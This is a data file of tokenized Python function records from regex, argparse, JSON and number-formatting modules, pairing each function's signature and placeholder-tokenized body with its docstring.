{"signature": "def subn(pattern, repl, string, count=<NUM_LIT:0>, flags=<NUM_LIT:0>):", "body": "return _compile(pattern, flags).subn(repl, string, count)<EOL>", "docstring": "Return a 2-tuple containing (new_string, number).\n    new_string is the string obtained by replacing the leftmost\n    non-overlapping occurrences of the pattern in the source\n    string by the replacement repl.  number is the number of\n    substitutions that were made. repl can be either a string or a\n    callable; if a string, backslash escapes in it are processed.\n    If it is a callable, it's passed the match object and must\n    return a replacement string to be used.", "id": "f16475:m3"}
{"signature": "def split(pattern, string, maxsplit=<NUM_LIT:0>, flags=<NUM_LIT:0>):", "body": "return _compile(pattern, flags).split(string, maxsplit)<EOL>", "docstring": "Split the source string by the occurrences of the pattern,\n    returning a list containing the resulting substrings.", "id": "f16475:m4"}
{"signature": "def findall(pattern, string, flags=<NUM_LIT:0>):", "body": "return _compile(pattern, flags).findall(string)<EOL>def finditer(pattern, string, flags=<NUM_LIT:0>):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return _compile(pattern, flags).finditer(string)<EOL><DEDENT>", "docstring": "Return a list of all non-overlapping matches in the string.\n\n    If one or more groups are present in the pattern, return a\n    list of groups; this will be a list of tuples if the pattern\n    has more than one group.\n\n    Empty matches are included in the result.", "id": "f16475:m5"}
{"signature": "def compile(pattern, flags=<NUM_LIT:0>):", "body": "return _compile(pattern, flags)<EOL>", "docstring": "Compile a regular expression pattern, returning a pattern object.", "id": "f16475:m6"}
{"signature": "def purge():", "body": "_cache.clear()<EOL>_cache_repl.clear()<EOL>", "docstring": "Clear the regular expression cache", "id": "f16475:m7"}
{"signature": "def template(pattern, flags=<NUM_LIT:0>):", "body": "return _compile(pattern, flags|T)<EOL>", "docstring": "Compile a template pattern, returning a pattern object", "id": "f16475:m8"}
{"signature": "def escape(pattern):", "body": "s = list(pattern)<EOL>alphanum = _alphanum<EOL>for i, c in enumerate(pattern):<EOL><INDENT>if c not in alphanum:<EOL><INDENT>if c == \"<STR_LIT>\":<EOL><INDENT>s[i] = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>s[i] = \"<STR_LIT:\\\\>\" + c<EOL><DEDENT><DEDENT><DEDENT>return pattern[:<NUM_LIT:0>].join(s)<EOL>", "docstring": "Escape all non-alphanumeric characters in pattern.", "id": "f16475:m9"}
{"signature": "def add_argument(self, *args, **kwargs):", "body": "<EOL>chars = self.prefix_chars<EOL>if not args or len(args) == <NUM_LIT:1> and args[<NUM_LIT:0>][<NUM_LIT:0>] not in chars:<EOL><INDENT>if args and '<STR_LIT>' in kwargs:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>kwargs = self._get_positional_kwargs(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>kwargs = self._get_optional_kwargs(*args, **kwargs)<EOL><DEDENT>if '<STR_LIT:default>' not in kwargs:<EOL><INDENT>dest = kwargs['<STR_LIT>']<EOL>if dest in self._defaults:<EOL><INDENT>kwargs['<STR_LIT:default>'] = self._defaults[dest]<EOL><DEDENT>elif self.argument_default is not None:<EOL><INDENT>kwargs['<STR_LIT:default>'] = self.argument_default<EOL><DEDENT><DEDENT>action_class = self._pop_action_class(kwargs)<EOL>if not _callable(action_class):<EOL><INDENT>raise ValueError('<STR_LIT>' % (action_class,))<EOL><DEDENT>action = action_class(**kwargs)<EOL>type_func = self._registry_get('<STR_LIT:type>', action.type, action.type)<EOL>if not _callable(type_func):<EOL><INDENT>raise ValueError('<STR_LIT>' % (type_func,))<EOL><DEDENT>if hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>try:<EOL><INDENT>self._get_formatter()._format_args(action, None)<EOL><DEDENT>except TypeError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return self._add_action(action)<EOL>", "docstring": "add_argument(dest, ..., name=value, ...)\nadd_argument(option_string, option_string, ..., name=value, ...)", "id": "f16477:c20:m5"}
{"signature": "def error(self, message):", "body": "self.print_usage(_sys.stderr)<EOL>self.exit(<NUM_LIT:2>, _('<STR_LIT>') % (self.prog, message))<EOL>", "docstring": "error(message: string)\n\n        Prints a usage message incorporating the message to stderr and\n        exits.\n\n        If you override this in a subclass, it should not return -- it\n        should either exit or raise an exception.", "id": "f16477:c23:m28"}
{"signature": "def encode_basestring(s):", "body": "def replace(match):<EOL><INDENT>return ESCAPE_DCT[match.group(<NUM_LIT:0>)]<EOL><DEDENT>return '<STR_LIT:\">' + ESCAPE.sub(replace, s) + '<STR_LIT:\">'<EOL>", "docstring": "Return a JSON representation of a Python string", "id": "f16478:m1"}
{"signature": "def py_encode_basestring_ascii(s):", "body": "if isinstance(s, str) and HAS_UTF8.search(s) is not None:<EOL><INDENT>s = s.decode('<STR_LIT:utf-8>')<EOL><DEDENT>def replace(match):<EOL><INDENT>s = match.group(<NUM_LIT:0>)<EOL>try:<EOL><INDENT>return ESCAPE_DCT[s]<EOL><DEDENT>except KeyError:<EOL><INDENT>n = ord(s)<EOL>if n < <NUM_LIT>:<EOL><INDENT>return '<STR_LIT>' + x4(n)<EOL><DEDENT>else:<EOL><INDENT>n -= <NUM_LIT><EOL>s1 = <NUM_LIT> | ((n >> <NUM_LIT:10>) & <NUM_LIT>)<EOL>s2 = <NUM_LIT> | (n & <NUM_LIT>)<EOL>return '<STR_LIT>' + x4(s1) + '<STR_LIT>' + x4(s2)<EOL><DEDENT><DEDENT><DEDENT>return '<STR_LIT:\">' + str(ESCAPE_ASCII.sub(replace, s)) + '<STR_LIT:\">'<EOL>", "docstring": "Return an ASCII-only JSON representation of a Python string", "id": "f16478:m2"}
{"signature": "def __init__(self, skipkeys=False, ensure_ascii=True,<EOL>check_circular=True, allow_nan=True, sort_keys=False,<EOL>indent=None, separators=None, encoding='<STR_LIT:utf-8>', default=None):", "body": "self.skipkeys = skipkeys<EOL>self.ensure_ascii = ensure_ascii<EOL>self.check_circular = check_circular<EOL>self.allow_nan = allow_nan<EOL>self.sort_keys = sort_keys<EOL>self.indent = indent<EOL>if separators is not None:<EOL><INDENT>self.item_separator, self.key_separator = separators<EOL><DEDENT>if default is not None:<EOL><INDENT>self.default = default<EOL><DEDENT>self.encoding = encoding<EOL>", "docstring": "Constructor for JSONEncoder, with sensible defaults.\n\n        If skipkeys is false, then it is a TypeError to attempt\n        encoding of keys that are not str, int, long, float or None.  If\n        skipkeys is True, such items are simply skipped.\n\n        If *ensure_ascii* is true (the default), all non-ASCII\n        characters in the output are escaped with \\\\uXXXX sequences,\n        and the results are str instances consisting of ASCII\n        characters only.  If ensure_ascii is False, a result may be a\n        unicode instance.  This usually happens if the input contains\n        unicode strings or the *encoding* parameter is used.\n\n        If check_circular is true, then lists, dicts, and custom encoded\n        objects will be checked for circular references during encoding to\n        prevent an infinite recursion (which would cause an OverflowError).\n        Otherwise, no such check takes place.\n\n        If allow_nan is true, then NaN, Infinity, and -Infinity will be\n        encoded as such.  This behavior is not JSON specification compliant,\n        but is consistent with most JavaScript based encoders and decoders.\n        Otherwise, it will be a ValueError to encode such floats.\n\n        If sort_keys is true, then the output of dictionaries will be\n        sorted by key; this is useful for regression tests to ensure\n        that JSON serializations can be compared on a day-to-day basis.\n\n        If indent is a non-negative integer, then JSON array\n        elements and object members will be pretty-printed with that\n        indent level.  An indent level of 0 will only insert newlines.\n        None is the most compact representation.  Since the default\n        item separator is ', ',  the output might include trailing\n        whitespace when indent is specified.  You can use\n        separators=(',', ': ') to avoid this.\n\n        If specified, separators should be a (item_separator, key_separator)\n        tuple.  The default is (', ', ': ').  To get the most compact JSON\n        representation you should specify (',', ':') to eliminate whitespace.\n\n        If specified, default is a function that gets called for objects\n        that can't otherwise be serialized.  It should return a JSON encodable\n        version of the object or raise a ``TypeError``.\n\n        If encoding is not None, then all input strings will be\n        transformed into unicode using that encoding prior to JSON-encoding.\n        The default is UTF-8.", "id": "f16478:c0:m0"}
{"signature": "def default(self, o):", "body": "raise TypeError(repr(o) + \"<STR_LIT>\")<EOL>", "docstring": "Implement this method in a subclass such that it returns\n        a serializable object for ``o``, or calls the base implementation\n        (to raise a ``TypeError``).\n\n        For example, to support arbitrary iterators, you could\n        implement default like this::\n\n            def default(self, o):\n                try:\n                    iterable = iter(o)\n                except TypeError:\n                    pass\n                else:\n                    return list(iterable)\n                # Let the base class default method raise the TypeError\n                return JSONEncoder.default(self, o)", "id": "f16478:c0:m1"}
{"signature": "def encode(self, o):", "body": "<EOL>if isinstance(o, str):<EOL><INDENT>if isinstance(o, str):<EOL><INDENT>_encoding = self.encoding<EOL>if (_encoding is not None<EOL>and not (_encoding == '<STR_LIT:utf-8>')):<EOL><INDENT>o = o.decode(_encoding)<EOL><DEDENT><DEDENT>if self.ensure_ascii:<EOL><INDENT>return encode_basestring_ascii(o)<EOL><DEDENT>else:<EOL><INDENT>return encode_basestring(o)<EOL><DEDENT><DEDENT>chunks = self.iterencode(o, _one_shot=True)<EOL>if not isinstance(chunks, (list, tuple)):<EOL><INDENT>chunks = list(chunks)<EOL><DEDENT>return '<STR_LIT>'.join(chunks)<EOL>", "docstring": "Return a JSON string representation of a Python data structure.\n\n        >>> JSONEncoder().encode({\"foo\": [\"bar\", \"baz\"]})\n        '{\"foo\": [\"bar\", \"baz\"]}'", "id": "f16478:c0:m2"}
{"signature": "def iterencode(self, o, _one_shot=False):", "body": "if self.check_circular:<EOL><INDENT>markers = {}<EOL><DEDENT>else:<EOL><INDENT>markers = None<EOL><DEDENT>if self.ensure_ascii:<EOL><INDENT>_encoder = encode_basestring_ascii<EOL><DEDENT>else:<EOL><INDENT>_encoder = encode_basestring<EOL><DEDENT>if self.encoding != '<STR_LIT:utf-8>':<EOL><INDENT>def _encoder(o, _orig_encoder=_encoder, _encoding=self.encoding):<EOL><INDENT>if isinstance(o, str):<EOL><INDENT>o = o.decode(_encoding)<EOL><DEDENT>return _orig_encoder(o)<EOL><DEDENT><DEDENT>def floatstr(o, allow_nan=self.allow_nan,<EOL>_repr=FLOAT_REPR, _inf=INFINITY, _neginf=-INFINITY):<EOL><INDENT>if o != o:<EOL><INDENT>text = '<STR_LIT>'<EOL><DEDENT>elif o == _inf:<EOL><INDENT>text = '<STR_LIT>'<EOL><DEDENT>elif o == _neginf:<EOL><INDENT>text = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return _repr(o)<EOL><DEDENT>if not allow_nan:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" +<EOL>repr(o))<EOL><DEDENT>return text<EOL><DEDENT>if (_one_shot and c_make_encoder is not None<EOL>and self.indent is None and not self.sort_keys):<EOL><INDENT>_iterencode = c_make_encoder(<EOL>markers, self.default, _encoder, self.indent,<EOL>self.key_separator, self.item_separator, self.sort_keys,<EOL>self.skipkeys, self.allow_nan)<EOL><DEDENT>else:<EOL><INDENT>_iterencode = _make_iterencode(<EOL>markers, self.default, _encoder, self.indent, floatstr,<EOL>self.key_separator, self.item_separator, self.sort_keys,<EOL>self.skipkeys, _one_shot)<EOL><DEDENT>return _iterencode(o, <NUM_LIT:0>)<EOL>", "docstring": "Encode the given object and yield each string\n        representation as available.\n\n        For example::\n\n            for chunk in JSONEncoder().iterencode(bigobject):\n                mysocket.write(chunk)", "id": "f16478:c0:m3"}
{"signature": "def dump(obj, fp, skipkeys=False, ensure_ascii=True, check_circular=True,<EOL>allow_nan=True, cls=None, indent=None, separators=None,<EOL>encoding='<STR_LIT:utf-8>', default=None, sort_keys=False, **kw):", "body": "<EOL>if (not skipkeys and ensure_ascii and<EOL>check_circular and allow_nan and<EOL>cls is None and indent is None and separators is None and<EOL>encoding == '<STR_LIT:utf-8>' and default is None and not sort_keys and not kw):<EOL><INDENT>iterable = _default_encoder.iterencode(obj)<EOL><DEDENT>else:<EOL><INDENT>if cls is None:<EOL><INDENT>cls = JSONEncoder<EOL><DEDENT>iterable = cls(skipkeys=skipkeys, ensure_ascii=ensure_ascii,<EOL>check_circular=check_circular, allow_nan=allow_nan, indent=indent,<EOL>separators=separators, encoding=encoding,<EOL>default=default, sort_keys=sort_keys, **kw).iterencode(obj)<EOL><DEDENT>for chunk in iterable:<EOL><INDENT>fp.write(chunk)<EOL><DEDENT>", "docstring": "Serialize ``obj`` as a JSON formatted stream to ``fp`` (a\n    ``.write()``-supporting file-like object).\n\n    If ``skipkeys`` is true then ``dict`` keys that are not basic types\n    (``str``, ``unicode``, ``int``, ``long``, ``float``, ``bool``, ``None``)\n    will be skipped instead of raising a ``TypeError``.\n\n    If ``ensure_ascii`` is true (the default), all non-ASCII characters in the\n    output are escaped with ``\\\\uXXXX`` sequences, and the result is a ``str``\n    instance consisting of ASCII characters only.  If ``ensure_ascii`` is\n    ``False``, some chunks written to ``fp`` may be ``unicode`` instances.\n    This usually happens because the input contains unicode strings or the\n    ``encoding`` parameter is used. Unless ``fp.write()`` explicitly\n    understands ``unicode`` (as in ``codecs.getwriter``) this is likely to\n    cause an error.\n\n    If ``check_circular`` is false, then the circular reference check\n    for container types will be skipped and a circular reference will\n    result in an ``OverflowError`` (or worse).\n\n    If ``allow_nan`` is false, then it will be a ``ValueError`` to\n    serialize out of range ``float`` values (``nan``, ``inf``, ``-inf``)\n    in strict compliance of the JSON specification, instead of using the\n    JavaScript equivalents (``NaN``, ``Infinity``, ``-Infinity``).\n\n    If ``indent`` is a non-negative integer, then JSON array elements and\n    object members will be pretty-printed with that indent level. An indent\n    level of 0 will only insert newlines. ``None`` is the most compact\n    representation.  Since the default item separator is ``', '``,  the\n    output might include trailing whitespace when ``indent`` is specified.\n    You can use ``separators=(',', ': ')`` to avoid this.\n\n    If ``separators`` is an ``(item_separator, dict_separator)`` tuple\n    then it will be used instead of the default ``(', ', ': ')`` separators.\n    ``(',', ':')`` is the most compact JSON representation.\n\n    ``encoding`` is the character encoding for str instances, default is UTF-8.\n\n    ``default(obj)`` is a function that should return a serializable version\n    of obj or raise TypeError. The default simply raises TypeError.\n\n    If *sort_keys* is ``True`` (default: ``False``), then the output of\n    dictionaries will be sorted by key.\n\n    To use a custom ``JSONEncoder`` subclass (e.g. one that overrides the\n    ``.default()`` method to serialize additional types), specify it with\n    the ``cls`` kwarg; otherwise ``JSONEncoder`` is used.", "id": "f16479:m0"}
{"signature": "def dumps(obj, skipkeys=False, ensure_ascii=True, check_circular=True,<EOL>allow_nan=True, cls=None, indent=None, separators=None,<EOL>encoding='<STR_LIT:utf-8>', default=None, sort_keys=False, **kw):", "body": "<EOL>if (not skipkeys and ensure_ascii and<EOL>check_circular and allow_nan and<EOL>cls is None and indent is None and separators is None and<EOL>encoding == '<STR_LIT:utf-8>' and default is None and not sort_keys and not kw):<EOL><INDENT>return _default_encoder.encode(obj)<EOL><DEDENT>if cls is None:<EOL><INDENT>cls = JSONEncoder<EOL><DEDENT>return cls(<EOL>skipkeys=skipkeys, ensure_ascii=ensure_ascii,<EOL>check_circular=check_circular, allow_nan=allow_nan, indent=indent,<EOL>separators=separators, encoding=encoding, default=default,<EOL>sort_keys=sort_keys, **kw).encode(obj)<EOL>", "docstring": "Serialize ``obj`` to a JSON formatted ``str``.\n\n    If ``skipkeys`` is true then ``dict`` keys that are not basic types\n    (``str``, ``unicode``, ``int``, ``long``, ``float``, ``bool``, ``None``)\n    will be skipped instead of raising a ``TypeError``.\n\n\n    If ``ensure_ascii`` is false, all non-ASCII characters are not escaped, and\n    the return value may be a ``unicode`` instance. See ``dump`` for details.\n\n    If ``check_circular`` is false, then the circular reference check\n    for container types will be skipped and a circular reference will\n    result in an ``OverflowError`` (or worse).\n\n    If ``allow_nan`` is false, then it will be a ``ValueError`` to\n    serialize out of range ``float`` values (``nan``, ``inf``, ``-inf``) in\n    strict compliance of the JSON specification, instead of using the\n    JavaScript equivalents (``NaN``, ``Infinity``, ``-Infinity``).\n\n    If ``indent`` is a non-negative integer, then JSON array elements and\n    object members will be pretty-printed with that indent level. An indent\n    level of 0 will only insert newlines. ``None`` is the most compact\n    representation.  Since the default item separator is ``', '``,  the\n    output might include trailing whitespace when ``indent`` is specified.\n    You can use ``separators=(',', ': ')`` to avoid this.\n\n    If ``separators`` is an ``(item_separator, dict_separator)`` tuple\n    then it will be used instead of the default ``(', ', ': ')`` separators.\n    ``(',', ':')`` is the most compact JSON representation.\n\n    ``encoding`` is the character encoding for str instances, default is UTF-8.\n\n    ``default(obj)`` is a function that should return a serializable version\n    of obj or raise TypeError. The default simply raises TypeError.\n\n    If *sort_keys* is ``True`` (default: ``False``), then the output of\n    dictionaries will be sorted by key.\n\n    To use a custom ``JSONEncoder`` subclass (e.g. one that overrides the\n    ``.default()`` method to serialize additional types), specify it with\n    the ``cls`` kwarg; otherwise ``JSONEncoder`` is used.", "id": "f16479:m1"}
{"signature": "def load(fp, encoding=None, cls=None, object_hook=None, parse_float=None,<EOL>parse_int=None, parse_constant=None, object_pairs_hook=None, **kw):", "body": "return loads(fp.read(),<EOL>encoding=encoding, cls=cls, object_hook=object_hook,<EOL>parse_float=parse_float, parse_int=parse_int,<EOL>parse_constant=parse_constant, object_pairs_hook=object_pairs_hook,<EOL>**kw)<EOL>", "docstring": "Deserialize ``fp`` (a ``.read()``-supporting file-like object containing\n    a JSON document) to a Python object.\n\n    If the contents of ``fp`` is encoded with an ASCII based encoding other\n    than utf-8 (e.g. latin-1), then an appropriate ``encoding`` name must\n    be specified. Encodings that are not ASCII based (such as UCS-2) are\n    not allowed, and should be wrapped with\n    ``codecs.getreader(fp)(encoding)``, or simply decoded to a ``unicode``\n    object and passed to ``loads()``\n\n    ``object_hook`` is an optional function that will be called with the\n    result of any object literal decode (a ``dict``). The return value of\n    ``object_hook`` will be used instead of the ``dict``. This feature\n    can be used to implement custom decoders (e.g. JSON-RPC class hinting).\n\n    ``object_pairs_hook`` is an optional function that will be called with the\n    result of any object literal decoded with an ordered list of pairs.  The\n    return value of ``object_pairs_hook`` will be used instead of the ``dict``.\n    This feature can be used to implement custom decoders that rely on the\n    order that the key and value pairs are decoded (for example,\n    collections.OrderedDict will remember the order of insertion). If\n    ``object_hook`` is also defined, the ``object_pairs_hook`` takes priority.\n\n    To use a custom ``JSONDecoder`` subclass, specify it with the ``cls``\n    kwarg; otherwise ``JSONDecoder`` is used.", "id": "f16479:m2"}
{"signature": "def loads(s, encoding=None, cls=None, object_hook=None, parse_float=None,<EOL>parse_int=None, parse_constant=None, object_pairs_hook=None, **kw):", "body": "if (cls is None and encoding is None and object_hook is None and<EOL>parse_int is None and parse_float is None and<EOL>parse_constant is None and object_pairs_hook is None and not kw):<EOL><INDENT>return _default_decoder.decode(s)<EOL><DEDENT>if cls is None:<EOL><INDENT>cls = JSONDecoder<EOL><DEDENT>if object_hook is not None:<EOL><INDENT>kw['<STR_LIT>'] = object_hook<EOL><DEDENT>if object_pairs_hook is not None:<EOL><INDENT>kw['<STR_LIT>'] = object_pairs_hook<EOL><DEDENT>if parse_float is not None:<EOL><INDENT>kw['<STR_LIT>'] = parse_float<EOL><DEDENT>if parse_int is not None:<EOL><INDENT>kw['<STR_LIT>'] = parse_int<EOL><DEDENT>if parse_constant is not None:<EOL><INDENT>kw['<STR_LIT>'] = parse_constant<EOL><DEDENT>return cls(encoding=encoding, **kw).decode(s)<EOL>", "docstring": "Deserialize ``s`` (a ``str`` or ``unicode`` instance containing a JSON\n    document) to a Python object.\n\n    If ``s`` is a ``str`` instance and is encoded with an ASCII based encoding\n    other than utf-8 (e.g. latin-1) then an appropriate ``encoding`` name\n    must be specified. Encodings that are not ASCII based (such as UCS-2)\n    are not allowed and should be decoded to ``unicode`` first.\n\n    ``object_hook`` is an optional function that will be called with the\n    result of any object literal decode (a ``dict``). The return value of\n    ``object_hook`` will be used instead of the ``dict``. This feature\n    can be used to implement custom decoders (e.g. JSON-RPC class hinting).\n\n    ``object_pairs_hook`` is an optional function that will be called with the\n    result of any object literal decoded with an ordered list of pairs.  The\n    return value of ``object_pairs_hook`` will be used instead of the ``dict``.\n    This feature can be used to implement custom decoders that rely on the\n    order that the key and value pairs are decoded (for example,\n    collections.OrderedDict will remember the order of insertion). If\n    ``object_hook`` is also defined, the ``object_pairs_hook`` takes priority.\n\n    ``parse_float``, if specified, will be called with the string\n    of every JSON float to be decoded. By default this is equivalent to\n    float(num_str). This can be used to use another datatype or parser\n    for JSON floats (e.g. decimal.Decimal).\n\n    ``parse_int``, if specified, will be called with the string\n    of every JSON int to be decoded. By default this is equivalent to\n    int(num_str). This can be used to use another datatype or parser\n    for JSON integers (e.g. float).\n\n    ``parse_constant``, if specified, will be called with one of the\n    following strings: -Infinity, Infinity, NaN, null, true, false.\n    This can be used to raise an exception if invalid JSON numbers\n    are encountered.\n\n    To use a custom ``JSONDecoder`` subclass, specify it with the ``cls``\n    kwarg; otherwise ``JSONDecoder`` is used.", "id": "f16479:m3"}
{"signature": "def py_scanstring(s, end, encoding=None, strict=True,<EOL>_b=BACKSLASH, _m=STRINGCHUNK.match):", "body": "if encoding is None:<EOL><INDENT>encoding = DEFAULT_ENCODING<EOL><DEDENT>chunks = []<EOL>_append = chunks.append<EOL>begin = end - <NUM_LIT:1><EOL>while <NUM_LIT:1>:<EOL><INDENT>chunk = _m(s, end)<EOL>if chunk is None:<EOL><INDENT>raise ValueError(<EOL>errmsg(\"<STR_LIT>\", s, begin))<EOL><DEDENT>end = chunk.end()<EOL>content, terminator = chunk.groups()<EOL>if content:<EOL><INDENT>if not isinstance(content, unicode):<EOL><INDENT>content = unicode(content, encoding)<EOL><DEDENT>_append(content)<EOL><DEDENT>if terminator == '<STR_LIT:\">':<EOL><INDENT>break<EOL><DEDENT>elif terminator != '<STR_LIT:\\\\>':<EOL><INDENT>if strict:<EOL><INDENT>msg = \"<STR_LIT>\" % (terminator,)<EOL>raise ValueError(errmsg(msg, s, end))<EOL><DEDENT>else:<EOL><INDENT>_append(terminator)<EOL>continue<EOL><DEDENT><DEDENT>try:<EOL><INDENT>esc = s[end]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise ValueError(<EOL>errmsg(\"<STR_LIT>\", s, begin))<EOL><DEDENT>if esc != '<STR_LIT:u>':<EOL><INDENT>try:<EOL><INDENT>char = _b[esc]<EOL><DEDENT>except KeyError:<EOL><INDENT>msg = \"<STR_LIT>\" + repr(esc)<EOL>raise ValueError(errmsg(msg, s, end))<EOL><DEDENT>end += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>uni = _decode_uXXXX(s, end)<EOL>end += <NUM_LIT:5><EOL>if sys.maxunicode > <NUM_LIT> and<NUM_LIT> <= uni <= <NUM_LIT> and s[end:end + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>uni2 = _decode_uXXXX(s, end + <NUM_LIT:1>)<EOL>if <NUM_LIT> <= uni2 <= <NUM_LIT>:<EOL><INDENT>uni = <NUM_LIT> + (((uni - <NUM_LIT>) << <NUM_LIT:10>) | (uni2 - <NUM_LIT>))<EOL>end += <NUM_LIT:6><EOL><DEDENT><DEDENT>char = unichr(uni)<EOL><DEDENT>_append(char)<EOL><DEDENT>return u'<STR_LIT>'.join(chunks), end<EOL>", "docstring": "Scan the string s for a JSON string. End is the index of the\n    character in s after the quote that started the JSON string.\n    Unescapes all valid JSON string escape sequences and raises ValueError\n    on attempt to decode an invalid string. If strict is False then literal\n    control characters are allowed in the string.\n\n    Returns a tuple of the decoded string and the index of the character in s\n    after the end quote.", "id": "f16480:m4"}
{"signature": "def __init__(self, encoding=None, object_hook=None, parse_float=None,<EOL>parse_int=None, parse_constant=None, strict=True,<EOL>object_pairs_hook=None):", "body": "self.encoding = encoding<EOL>self.object_hook = object_hook<EOL>self.object_pairs_hook = object_pairs_hook<EOL>self.parse_float = parse_float or float<EOL>self.parse_int = parse_int or int<EOL>self.parse_constant = parse_constant or _CONSTANTS.__getitem__<EOL>self.strict = strict<EOL>self.parse_object = JSONObject<EOL>self.parse_array = JSONArray<EOL>self.parse_string = scanstring<EOL>self.scan_once = scanner.make_scanner(self)<EOL>", "docstring": "``encoding`` determines the encoding used to interpret any ``str``\n        objects decoded by this instance (utf-8 by default).  It has no\n        effect when decoding ``unicode`` objects.\n\n        Note that currently only encodings that are a superset of ASCII work,\n        strings of other encodings should be passed in as ``unicode``.\n\n        ``object_hook``, if specified, will be called with the result\n        of every JSON object decoded and its return value will be used in\n        place of the given ``dict``.  This can be used to provide custom\n        deserializations (e.g. to support JSON-RPC class hinting).\n\n        ``object_pairs_hook``, if specified will be called with the result of\n        every JSON object decoded with an ordered list of pairs.  The return\n        value of ``object_pairs_hook`` will be used instead of the ``dict``.\n        This feature can be used to implement custom decoders that rely on the\n        order that the key and value pairs are decoded (for example,\n        collections.OrderedDict will remember the order of insertion). If\n        ``object_hook`` is also defined, the ``object_pairs_hook`` takes\n        priority.\n\n        ``parse_float``, if specified, will be called with the string\n        of every JSON float to be decoded. By default this is equivalent to\n        float(num_str). This can be used to use another datatype or parser\n        for JSON floats (e.g. decimal.Decimal).\n\n        ``parse_int``, if specified, will be called with the string\n        of every JSON int to be decoded. By default this is equivalent to\n        int(num_str). This can be used to use another datatype or parser\n        for JSON integers (e.g. float).\n\n        ``parse_constant``, if specified, will be called with one of the\n        following strings: -Infinity, Infinity, NaN.\n        This can be used to raise an exception if invalid JSON numbers\n        are encountered.\n\n        If ``strict`` is false (true is the default), then control\n        characters will be allowed inside strings.  Control characters in\n        this context are those with character codes in the 0-31 range,\n        including ``'\\\\t'`` (tab), ``'\\\\n'``, ``'\\\\r'`` and ``'\\\\0'``.", "id": "f16480:c0:m0"}
{"signature": "def decode(self, s, _w=WHITESPACE.match):", "body": "obj, end = self.raw_decode(s, idx=_w(s, <NUM_LIT:0>).end())<EOL>end = _w(s, end).end()<EOL>if end != len(s):<EOL><INDENT>raise ValueError(errmsg(\"<STR_LIT>\", s, end, len(s)))<EOL><DEDENT>return obj<EOL>", "docstring": "Return the Python representation of ``s`` (a ``str`` or ``unicode``\n        instance containing a JSON document)", "id": "f16480:c0:m1"}
{"signature": "def raw_decode(self, s, idx=<NUM_LIT:0>):", "body": "try:<EOL><INDENT>obj, end = self.scan_once(s, idx)<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return obj, end<EOL>", "docstring": "Decode a JSON document from ``s`` (a ``str`` or ``unicode``\n        beginning with a JSON document) and return a 2-tuple of the Python\n        representation and the index in ``s`` where the document ended.\n\n        This can be used to decode a JSON document from a string that may\n        have extraneous data at the end.", "id": "f16480:c0:m2"}
{"signature": "def extract(s):", "body": "res = decoder.match(s)<EOL>if res is None: raise NotANumber(s)<EOL>sign, intpart, fraction, exppart = res.group(<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>)<EOL>if sign == '<STR_LIT:+>': sign = '<STR_LIT>'<EOL>if fraction: fraction = fraction[<NUM_LIT:1>:]<EOL>if exppart: expo = int(exppart[<NUM_LIT:1>:])<EOL>else: expo = <NUM_LIT:0><EOL>return sign, intpart, fraction, expo<EOL>", "docstring": "Return (sign, intpart, fraction, expo) or raise an exception:\n    sign is '+' or '-'\n    intpart is 0 or more digits beginning with a nonzero\n    fraction is 0 or more digits\n    expo is an integer", "id": "f16481:m0"}
{"signature": "def unexpo(intpart, fraction, expo):", "body": "if expo > <NUM_LIT:0>: <EOL><INDENT>f = len(fraction)<EOL>intpart, fraction = intpart + fraction[:expo], fraction[expo:]<EOL>if expo > f:<EOL><INDENT>intpart = intpart + '<STR_LIT:0>'*(expo-f)<EOL><DEDENT><DEDENT>elif expo < <NUM_LIT:0>: <EOL><INDENT>i = len(intpart)<EOL>intpart, fraction = intpart[:expo], intpart[expo:] + fraction<EOL>if expo < -i:<EOL><INDENT>fraction = '<STR_LIT:0>'*(-expo-i) + fraction<EOL><DEDENT><DEDENT>return intpart, fraction<EOL>", "docstring": "Remove the exponent by changing intpart and fraction.", "id": "f16481:m1"}
{"signature": "def roundfrac(intpart, fraction, digs):", "body": "f = len(fraction)<EOL>if f <= digs:<EOL><INDENT>return intpart, fraction + '<STR_LIT:0>'*(digs-f)<EOL><DEDENT>i = len(intpart)<EOL>if i+digs < <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT:0>'*-digs, '<STR_LIT>'<EOL><DEDENT>total = intpart + fraction<EOL>nextdigit = total[i+digs]<EOL>if nextdigit >= '<STR_LIT:5>': <EOL><INDENT>n = i + digs - <NUM_LIT:1><EOL>while n >= <NUM_LIT:0>:<EOL><INDENT>if total[n] != '<STR_LIT>': break<EOL>n = n-<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>total = '<STR_LIT:0>' + total<EOL>i = i+<NUM_LIT:1><EOL>n = <NUM_LIT:0><EOL><DEDENT>total = total[:n] + chr(ord(total[n]) + <NUM_LIT:1>) + '<STR_LIT:0>'*(len(total)-n-<NUM_LIT:1>)<EOL>intpart, fraction = total[:i], total[i:]<EOL><DEDENT>if digs >= <NUM_LIT:0>:<EOL><INDENT>return intpart, fraction[:digs]<EOL><DEDENT>else:<EOL><INDENT>return intpart[:digs] + '<STR_LIT:0>'*-digs, '<STR_LIT>'<EOL><DEDENT>", "docstring": "Round or extend the fraction to size digs.", "id": "f16481:m2"}
